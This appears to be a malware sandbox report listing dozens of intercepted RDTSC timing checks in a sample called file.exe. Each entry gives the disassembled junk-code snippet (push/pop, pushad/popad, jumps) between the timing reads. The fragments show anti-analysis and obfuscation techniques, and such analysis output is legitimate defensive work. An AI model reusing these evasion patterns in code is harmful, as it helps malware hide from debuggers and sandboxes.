Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD962 second address: 13FD968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138C5C9 second address: 138C5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007EFC80C37996h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138C5DC second address: 138C5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401451 second address: 1401484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007EFC80C379A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFC80C379A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1C0A second address: 13D1C18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1C18 second address: 13AC70E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007EFC80C379A7h 0x0000000f pop ebx 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007EFC80C37998h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D3A16h], ecx 0x00000032 call dword ptr [ebp+122D308Eh] 0x00000038 push eax 0x00000039 push edx 0x0000003a jnl 00007EFC80C37998h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1E69 second address: 13D1E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1E6D second address: 13D1E77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D22D2 second address: 13D22D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D240C second address: 13D2410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2410 second address: 13D2416 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2416 second address: 13D2420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007EFC80C37996h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D25AD second address: 13D25BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D25BD second address: 13D25D1 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC80C37998h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D25D1 second address: 13D2607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007EFC80C0D658h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007EFC80C0D64Ch 0x0000001d jno 00007EFC80C0D646h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D27F3 second address: 13D2863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC80C379A5h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007EFC80C37998h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a sbb dx, 7D44h 0x0000002f push 00000004h 0x00000031 jmp 00007EFC80C3799Fh 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 jl 00007EFC80C379A2h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2863 second address: 13D286A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D286A second address: 13D2889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007EFC80C3799Dh 0x0000000e pushad 0x0000000f jo 00007EFC80C37996h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2C89 second address: 13D2C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2C93 second address: 13D2CB5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+12456759h], edi 0x00000013 push 0000001Eh 0x00000015 mov dword ptr [ebp+122D1E4Dh], ebx 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2CB5 second address: 13D2CBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3126 second address: 13D319F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C3799Ch 0x00000009 popad 0x0000000a jmp 00007EFC80C379A8h 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007EFC80C3799Bh 0x00000016 lea eax, dword ptr [ebp+1248590Dh] 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007EFC80C37998h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 nop 0x00000037 pushad 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e push edx 0x0000003f jmp 00007EFC80C379A0h 0x00000044 pop edx 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 push edi 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140177B second address: 140177F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140177F second address: 140179E instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFC80C379A3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140179E second address: 14017A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14017A2 second address: 14017A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14017A8 second address: 14017CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFC80C0D656h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14017CA second address: 14017CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401932 second address: 1401950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D658h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401950 second address: 1401962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007EFC80C3799Bh 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401962 second address: 1401968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401DBC second address: 1401DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140219C second address: 14021A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140700F second address: 1407013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14072EA second address: 14072F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14072F0 second address: 14072F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14072F4 second address: 14072FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407601 second address: 140760B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFC80C37996h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140760B second address: 140760F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140760F second address: 140761B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFC80C37996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407A41 second address: 1407A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407A47 second address: 1407A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C379A5h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jnl 00007EFC80C37996h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407A6D second address: 1407A77 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407A77 second address: 1407A88 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFC80C37998h 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E8F6 second address: 140E900 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC80C0D64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EC00 second address: 140EC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140ED54 second address: 140ED58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EEB2 second address: 140EEBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007EFC80C37998h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412AD5 second address: 1412AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007EFC80C0D646h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412AE3 second address: 1412AF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007EFC80C379A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14159D4 second address: 14159D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14159D8 second address: 14159E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14159E2 second address: 14159FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007EFC80C0D652h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418C2A second address: 1418C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFC80C379A3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BE23 second address: 141BE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B82A second address: 141B849 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007EFC80C37996h 0x00000010 jmp 00007EFC80C3799Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B849 second address: 141B858 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14233C6 second address: 14233E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFC80C379A7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2AA6 second address: 13D2AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14237E7 second address: 14237F1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14237F1 second address: 142380D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C0D658h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428509 second address: 142850E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1427BC9 second address: 1427BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14281C0 second address: 14281C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14281C4 second address: 14281CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C78F second address: 142C793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C793 second address: 142C7A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007EFC80C0D646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BC4F second address: 142BC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C379A6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BF33 second address: 142BF37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BF37 second address: 142BF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFC80C37996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFC80C379A4h 0x00000014 push ecx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BF5F second address: 142BF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352C0 second address: 14352C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352C5 second address: 14352CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352CB second address: 14352DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C3799Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352DB second address: 1435302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFC80C0D656h 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007EFC80C0D646h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435302 second address: 1435315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435315 second address: 143532C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007EFC80C0D651h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143532C second address: 1435330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14335AA second address: 14335B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFC80C0D646h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14335B6 second address: 14335BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433702 second address: 143371F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C0D659h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143371F second address: 1433725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433F30 second address: 1433F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14341E8 second address: 14341FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007EFC80C37996h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14344CE second address: 14344E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14344E8 second address: 14344EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14344EC second address: 14344F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14344F0 second address: 143450D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFC80C379A7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434AAD second address: 1434AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C0D64Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434AC2 second address: 1434AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434D2D second address: 1434D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434D38 second address: 1434D6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007EFC80C379A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFC80C379A3h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434D6D second address: 1434D75 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D86D second address: 143D871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143DB8B second address: 143DB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143DB90 second address: 143DBAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C379A4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143DFAD second address: 143DFB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
